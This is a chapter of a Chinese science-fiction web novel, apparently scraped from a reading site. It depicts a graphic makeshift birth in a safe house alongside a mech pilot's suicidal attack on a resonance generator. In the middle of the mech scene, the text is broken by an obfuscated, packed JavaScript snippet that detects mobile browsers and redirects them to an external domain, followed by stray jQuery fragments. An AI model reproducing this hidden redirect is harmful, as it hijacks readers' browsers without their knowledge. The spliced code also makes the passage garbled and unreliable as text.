默认冷灰
24号文字
方正启体

20. 分娩危机(上)风暴前夕

作者:闻小年本书字数:K更新时间:
    “来…来了!它…它…要出来了!…现在!!!”


    江叶破碎的嘶吼如同垂死野兽的最后咆哮,炸裂在安全屋死寂的空气里。每一个字都带着血腥味和撕裂般的剧痛,狠狠砸在阿杰的耳膜上。


    阿杰的大脑一片空白,仿佛被这晴天霹雳般的宣告冻结了所有思维。他低头看着江叶——那张被汗水、血污和极致的痛苦扭曲的脸,那双瞳孔因剧痛而涣散却又因某种原始本能而亮得骇人的眼睛,还有那高高隆起、在毁灭性共鸣嗡鸣中如同活物般剧烈起伏痉挛的腹部,一切都在残酷地证明着:这不是幻觉!那个被秦岳的疯狂改造、在能量风暴中被迫催熟的生命,正在不顾一切地挣脱束缚,要在这地狱般的时刻降临!


    “现…现在?!”阿杰的声音变了调,带着哭腔和极度的恐慌,“不行!叶哥!陆航还没回来!没有医生!什么都没有!这…这太危险了!你再坚持一下!求你了!”他语无伦次,双手徒劳地按在江叶抽搐的肩膀上,却感觉那身体里奔涌的力量如同失控的洪水,根本不是他能阻挡的。


    “呃啊——!!!”回应他的,是江叶更加凄厉、仿佛要将灵魂都撕裂的惨嚎!一波前所未有的、如同海啸般的宫缩(系统模拟的剧烈排异反应)席卷了他!他整个身体猛地向上弓起,脖颈拉伸出绝望的弧度,牙齿深深陷入下唇,鲜血瞬间涌出!腹部的皮肤绷紧到极限,呈现出一种半透明的、血管虬结的骇人景象!共生系统接口处的红光如同垂死恒星最后的爆发,亮度刺得人睁不开眼,灼热的温度隔着空气都能感受到!一股温热的液体不受控制地从他身下涌出,浸透了薄薄的床单——羊水破了!


    生命的洪流,已无可阻挡!


    阿杰被这惨烈的景象吓得魂飞魄散,但江叶眼中那濒死却无比清晰的、带着命令意味的绝望光芒,像一记重锤将他从恐惧的泥沼中砸醒!没有时间了!再犹豫,叶哥和那个未出世的小东西都得死在这!


    “妈的!拼了!”阿杰发出一声野兽般的低吼,肾上腺素瞬间飙升至顶点!他猛地转身,双眼血红地扫视着这间简陋、混乱、堆满电子垃圾和废弃零件的地狱安全屋!没有产房,没有医生,没有无菌设备!只有求生!只有最原始、最野蛮的接生!


    “叶哥!撑住!相信我!”阿杰嘶吼着,用尽全身力气将旁边一张堆满杂物的金属工作台粗暴地清空!瓶瓶罐罐、电路板、工具稀里哗啦砸了一地!他连拖带拽,几乎是将江叶从那张狭窄的小床“搬”到了冰冷坚硬的金属台面上!江叶的身体沉重得像灌了铅,每一次挪动都引发他撕心裂肺的痛哼。


    “呃…啊…快…”江叶的意识在剧痛的浪潮中浮沉,破碎的呻吟如同溺水者的呼救。


    “灯!光线!”阿杰像没头苍蝇一样扑向角落,抓起那个应急用的强光手电筒,用胶带粗暴地缠在头顶的金属横梁上,惨白的光柱直射下来,照亮了江叶身下那片狼藉和不断扩大的深色水渍。光线刺眼,却带来了冰冷的清晰。


    “消毒…对!消毒!”阿杰的手抖得如同筛糠,他冲向那个简陋的药箱,翻出仅剩的半瓶工业酒精(纯度远高于医用,刺激性强),又抓起一大卷相对干净的绷带。他没有任何无菌概念,只是本能地将酒精疯狂地泼在自己颤抖的双手上、泼在江叶身下、泼在冰冷的金属台面边缘!刺鼻的气味瞬间弥漫开来。


    “呃!…冷…”江叶被高浓度酒精刺激得浑身一颤。


    “忍着!”阿杰的声音嘶哑变形,他强迫自己冷静,回忆着在网吧看过的、早已模糊不清的急救视频片段。他颤抖着,用沾满酒精的绷带,笨拙地擦拭着江叶身下,试图清理出视野。眼前的景象让他胃里一阵翻江倒海——那里,在剧烈的痉挛和江叶痛苦的嘶吼中,正发生着他无法理解的、惊心动魄的变化!某种生命正在不顾一切地挣脱狭窄的通道!


    “叶哥!用力!像…像拉屎一样用力!”阿杰口不择言地嘶吼着鼓励,双手却完全不知道该如何辅助,只能徒劳地按在江叶因用力而剧烈颤抖的大腿上。


    “啊——!!!!”江叶的回应是更加撕心裂肺的咆哮!他双手死死抓住冰冷的金属台面边缘,指关节因用力而发出令人牙酸的咯咯声,指甲瞬间翻裂,鲜血淋漓!每一次宫缩都如同被无形的巨锤从内部狠狠砸击五脏六腑!剧痛吞噬了一切理智,只剩下最原始的本能——将那个折磨了他数月、与他血脉相连又几乎要了他命的小东西,推出去!


    就在这时,异变再生!


    “滋啦——!!!”


    江叶腰间那闪烁着刺目红光的共生系统接口,毫无征兆地爆出一大团刺眼的蓝白色电弧!如同内部发生了短路爆炸!恐怖的电流瞬间窜遍江叶全身!他整个人如同被高压电击中,身体猛地向上弹起,发出一声非人的、如同灵魂被撕裂的惨嚎!浓重的皮肉焦糊味瞬间盖过了酒精的气息!


    “叶哥!!!”阿杰目眦欲裂!他眼睁睁看着江叶的身体在电击下剧烈抽搐,口鼻溢出黑色的血沫,生命体征监测仪上的曲线瞬间跌入代表死亡的深谷!屏幕上代表胎儿心率的微弱信号,也如同风中残烛般疯狂闪烁,随时可能熄灭!


    是能量过载!是城市深处那毁灭性共鸣与系统暴走的双重压力,彻底摧毁了接口的稳定!这突如其来的致命电击,成了压垮骆驼的最后一根稻草!


    绝望如同冰冷的潮水,瞬间将阿杰淹没。他看着台上如同破布娃娃般抽搐、生机飞速流逝的江叶,看着那依旧毫无动静的产道,大脑一片空白。完了,一切都完了…


    就在这万念俱灰的瞬间——


    轰——!!!


    一声沉闷到极致的巨响,仿佛从地心深处传来,又仿佛是整个世界的叹息!安全屋剧烈地摇晃起来!天花板簌簌落下灰尘!窗外,城市深处那持续不断的、如同跗骨之蛆般的毁灭性低频嗡鸣,如同被一只无形巨手扼住咽喉,猛地一滞!紧接着,以一种断崖式的速度,急速衰减、消散!


    大厦深处,毁灭的源头被扼杀了!


    几乎在嗡鸣消失的同一刹那!


    “哇——!!!”


    一声极其微弱、却异常清晰、充满了不屈生命力的啼哭,如同穿透厚重乌云的第一缕阳光,骤然在死寂的安全屋中响起!


    创生纪元大厦地下三层,备用服务器机房。


    这里曾是科技与秩序的圣殿,此刻却化为了钢铁与烈焰的修罗场。


    厚重的合金隔离门在城市蜘蛛工程机甲那堪比攻城锤的液压破碎锤下,如同纸糊的玩具般扭曲、爆裂!灼热的气浪裹挟着金属碎片和浓烟从破洞中喷涌而出!陆航驾驶着伤痕累累、多处装甲板熔化变形、关节处冒着电火花和液压油黑烟的钢铁巨兽,悍然撞入了这片核心之地!


    迎接他的,是毁灭的具象化!


    机房内部空间巨大,一排排顶天立地的黑色服务器机柜如同冰冷的钢铁森林,一直延伸到视野尽头。此刻,这片森林的中心,正绽放着一朵死亡之花!一个由复杂能量导管环绕、内部闪烁着刺目白炽光芒的圆柱体装置,正发出震耳欲聋的能量尖啸!那就是最终净化协议的核心——HDRE超频共振发生器(Hyper-Dimensional Resonance Emitter)!它如同一个失控的小太阳,将毁灭性的能量波动通过深埋地下的传导阵列,泵送到城市的每一个角落!


    发生器周围的地面和机柜上,爬满了蛛网般密集、流淌着熔融态蓝光的能量导管,散发出恐怖的高温,空气都被灼烤得扭曲!整个机房充斥着足以瞬间致盲的强光和令人心脏停跳的低频轰鸣!更致命的是,发生器外围,几台造型狰狞、如同多足机械蜘蛛的自动防御平台(Auto-Defense Platform, ADP)正被激活!它们底盘旋转,搭载的脉冲激光炮和磁轨发射器瞬间锁定了闯入的钢铁巨兽!


    “侦测到最高威胁入侵!执行终极清除协议!”冰冷的电子合成音在机房内回荡。


    咻!咻!咻!


    数道刺目的蓝色脉冲激光束瞬间撕裂灼热的空气,精准地轰击在城市蜘蛛的正面装甲上!足以熔穿坦克装甲的高能光束,在机甲厚重的复合装甲上留下触目惊心的深坑和熔融的金属液滴!机甲剧烈震颤,驾驶舱内警报声凄厉爆响!


    轰!轰!


    几乎同时,磁轨发射器射出的超高速合金弹丸,带着恐怖的动能狠狠撞在机甲的关节部位!刺耳的金属撕裂声中,一条支撑腿的液压系统瞬间爆裂,暗红色的液压油如同鲜血般喷溅!机甲猛地一个趔趄,差点失去平衡!


    剧痛从被震伤的肋骨传来,陆航闷哼一声,嘴角溢出一丝鲜血。但他眼神中的疯狂火焰却燃烧得更加炽烈!头盔目镜上,那个代表江叶和胎儿生命状态的远程感应信号(连接着共生系统主控单元),正如同风中残烛般疯狂闪烁,跌入深红色的死亡区域!时间!他连一秒钟都不能浪费!


    “给我…毁掉它!”陆航发出野兽般的咆哮,无视了机甲的损伤报警,将所剩不多的动力全部压榨出来!他猛地推动操纵杆!


    城市蜘蛛仅剩的三条支撑腿爆发出最后的怒吼,庞大的钢铁身躯如同失控的火车头,带着同归于尽的惨烈气势,悍然冲向机房中央那咆哮的能量核心!同时,他仅剩的一条还能活动的工程臂,臂端瞬间切换出高速旋转的切割轮盘,发出撕裂空气的尖啸,目标直指连接在发生器上最粗壮的那几根能量主脉!


    ADP防御平台立刻调整姿态,脉冲激光束和磁轨炮弹如同暴雨般倾泻而来,试图将这头钢铁巨兽拦截、撕碎在冲锋的路上!


    轰!轰!轰!


    机甲的外装甲在密集的火力下不断剥落、熔化、变形!驾驶舱的强化玻璃布满蛛网般的裂痕!一条机械臂被磁轨炮弹齐根打断,带着电火花旋转着飞了出去!陆航被巨大的冲击力狠狠撞在驾驶座椅上,眼前阵阵发黑,鲜血从口鼻中不断涌出!但他布满血丝的眼睛,死死盯着视野中央那个越来越近的、散发着毁灭光芒的能量核心!


    近了!更近了!


    切割轮盘带着一往无前的决绝,狠狠切入了一根流淌着熔融蓝光的粗壮能量导管!


    滋啦——!!!!


    如同高压电线被斩断!刺眼的蓝白色电弧瞬间爆发!狂暴的能量乱流如同挣脱束缚的雷龙,顺着切割轮盘狠狠反噬回机甲本体!城市蜘蛛内部爆出大片刺目的电火花,无数仪表盘瞬间黑屏!整台机甲如同被施了定身法,僵在原地,被狂暴的电流包裹!


    陆航的身体在驾驶舱内剧烈抽搐,如同被千万根钢针同时穿刺!视野被灼目的电光淹没!他感觉自己的生命正在飞速流逝!


    不行…还差一点…江叶…


    就在意识即将彻底沉入黑暗的瞬间,一股源自灵魂深处的不甘和守护的执念如同火山般爆发!陆航用尽最后一丝残存的意志,颤抖着、却无比精准地,按下了操作杆底部一个隐蔽的、从未使用过的红色按钮——机甲最后的自毁指令!同时,他拼尽全力,将操纵杆朝着能量核心的方向,狠狠地、推到了底!


    城市蜘蛛残破的躯体内部,那台早已超负荷运转的工业电池组,在自毁指令下被瞬间点燃!恐怖的能量洪流不再受任何控制,顺着被切割轮盘破坏的能量导管缺口,如同决堤的洪峰,疯狂地、逆向地、灌入了那台咆哮的HDRE超频共振发生器的核心!


    轰隆隆隆——!!!!


    无法形容的恐怖爆炸发生了!


    不是向外扩散的冲击波,而是向内的、毁灭性的能量湮灭!


    那台如同小太阳般的发生器,光芒先是瞬间收缩成一个极致刺眼的白点,紧接着,白点内部仿佛出现了一个吞噬一切的黑洞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256466|182071||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !整个机房内所有的光线、声音、甚至空间感都被瞬间抽离、压缩!时间仿佛停滞了一瞬!


    下一秒!


    无法想象的能量乱流以那个白点为中心,无声地、却又狂暴到极致地爆发开来!没有震耳欲聋的巨响,只有一种仿佛空间本身被撕裂的、令人灵魂颤栗的嗡鸣!以发生器为中心,所有精密的服务器机柜如同被无形的巨手揉捏,瞬间扭曲、熔化成赤红的铁水!坚硬的混凝土地面如同水面般掀起波浪状的涟漪,然后寸寸龟裂、粉碎、化为齑粉!那几台ADP防御平台如同纸片般被撕碎、气化!


    恐怖的冲击波无声地扩散,狠狠撞在陆航那台早已失去动力的机甲残骸上!如同被万吨巨锤击中,沉重的钢铁巨兽被狠狠掀飞,翻滚着撞向远处坚硬的合金墙壁!


    轰!!!!


    机甲残骸深深嵌入扭曲的墙壁中,彻底化作一堆燃烧的废铁!驾驶舱严重变形,浓烟滚滚!


    毁灭的源头,连同这间象征着秦岳终极野心的地下圣殿,在陆航同归于尽般的壮烈一击下,化为了彻底的废墟和燃烧的余烬!城市深处那毁灭性的低频嗡鸣,戛然而止!


    安全屋。


    那声穿透绝望的微弱啼哭,如同惊雷般在阿杰耳边炸响!


    他猛地从绝望的深渊中惊醒!台上,江叶的身体在系统接□□出那团致命电弧后,如同断线的木偶般瘫软下去,生命体征微弱到了极致,仿佛下一秒就要熄灭。然而,就在那片狼藉之中,就在江叶身下一个小小的、沾满血污和粘液的、蜷缩着的生命,正发出本能的、宣告降临的哭泣!


    孩子!生出来了!


    没有喜悦,只有劫后余生的巨大冲击和手忙脚乱的恐慌!阿杰的大脑一片空白,身体却在本能的驱使下动了起来!


    “活的!是活的!”阿杰带着哭腔的狂喜嘶吼着,声音都在劈叉。他手忙脚乱地抓起旁边相对干净的衣服碎片,也顾不上消毒了,颤抖着、小心翼翼地,试图去包裹那个浑身青紫、沾满血污、脐带还连接在江叶体内的小小身体。


    婴儿非常小,明显早产,皮肤皱巴巴的,像只刚出生的小猴子。他的哭声微弱却持续,小胸膛剧烈起伏着,证明着生命的顽强。阿杰笨拙地用布片裹住他冰凉的小身体,手指颤抖着,生怕弄伤这脆弱得如同水晶般的生命。


    “脐带…脐带!”阿杰猛地想起什么,惊恐地看向那根连接着婴儿和江叶的、沾满血污的脐带。他没有任何工具!他目光疯狂地在满地狼藉中扫视,最后落在了工具箱里一把还算干净的剪线钳上!顾不上那么多了!


    他用酒精(仅剩的一点)胡乱冲了下钳口,深吸一口气,颤抖着双手,用钳子夹住脐带中段,闭着眼,用力一剪!


    噗嗤。


    轻微的断裂声。脐带应声而断。


    阿杰手忙脚乱地用布条在婴儿肚脐眼的位置缠了几圈打了个死结(完全不符合医学规范),然后小心翼翼地将这个脆弱的小生命抱在怀里。婴儿的体温低得吓人,微弱的哭声断断续续。


    “保温!要保温!”阿杰神经质地念叨着,他一把扯下自己脏兮兮的外套,将婴儿紧紧裹在里面,只露出一张皱巴巴的小脸。他抱着这小小的襁褓,如同抱着世界上最珍贵的易碎品,冲到角落里,将婴儿放在一堆相对柔软的废弃隔热材料上。


    做完这一切,他才猛地想起江叶!


    “叶哥!”他扑回金属台边。


    江叶躺在那里,无声无息。脸色是死灰般的惨白,嘴唇泛着青紫。身下一片狼藉的鲜血和羊水混合物。腰间那共生系统接口处一片焦黑,冒着缕缕青烟,刺目的红光彻底熄灭了,只剩下死寂的冰冷。生命体征监测屏幕上,几条代表生命线的曲线已经彻底拉平,只剩下刺耳的、单调的死亡蜂鸣。


    “叶哥!醒醒!看看!你看看啊!是个小子!你儿子!你儿子活下来了!”阿杰抓住江叶冰冷的手,疯狂地摇晃着,眼泪鼻涕糊了一脸,声音嘶哑绝望,“你他妈给我醒过来!别丢下他!别丢下他啊!!!”


    没有回应。只有冰冷的金属台面,和那令人心碎的、宣告死亡的蜂鸣。


    巨大的悲恸如同海啸般将阿杰淹没。他瘫软在地,抱着头,发出野兽般的呜咽。安全屋内,只剩下婴儿微弱断续的哭声,和那代表死亡的、单调而冰冷的电子蜂鸣。


    结束了?在付出了如此惨烈的代价之后,在生命诞生的奇迹之后,等待他们的,依旧是冰冷的死亡和永恒的黑暗?


    就在阿杰的绝望达到顶点的瞬间——


    滴…滴…滴…


    那单调的死亡蜂鸣声,极其微弱地,极其艰难地,跳动了一下!


    阿杰猛地抬起头,布满血丝的眼睛死死盯住生命体征监测屏幕!


    代表心率的曲线,在令人窒息的平直线末端,极其微弱地、却无比真实地,向上跳动了一个小小的波峰!


    紧接着,又是一下!虽然微弱,虽然缓慢,但,它确实在跳动了!如同死灰中挣扎着复燃的星火!


    “叶哥?!”阿杰的心脏几乎跳出喉咙!他连滚带爬地扑到台边,颤抖的手指探向江叶的颈动脉!


    指尖下,传来一丝微弱得几乎难以察觉的搏动!如同寒风中摇曳的烛火,却顽强地燃烧着!


    “活…活着!还有气!”阿杰狂喜的眼泪汹涌而出!他手忙脚乱地抓起旁边一支急救用的强心剂(不知道有没有用,但这是他唯一能做的),用颤抖的手撕开包装,对着江叶的手臂狠狠扎了下去!


    就在这时!


    砰!砰!砰!


    安全屋那扇并不坚固的铁门,突然被从外面猛烈地撞击!门锁发出不堪重负的呻吟!一个冰冷而熟悉的声音穿透铁门,带着一丝不易察觉的急促和喘息,清晰地传了进来:


    “开门!阿杰!是我!林薇!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)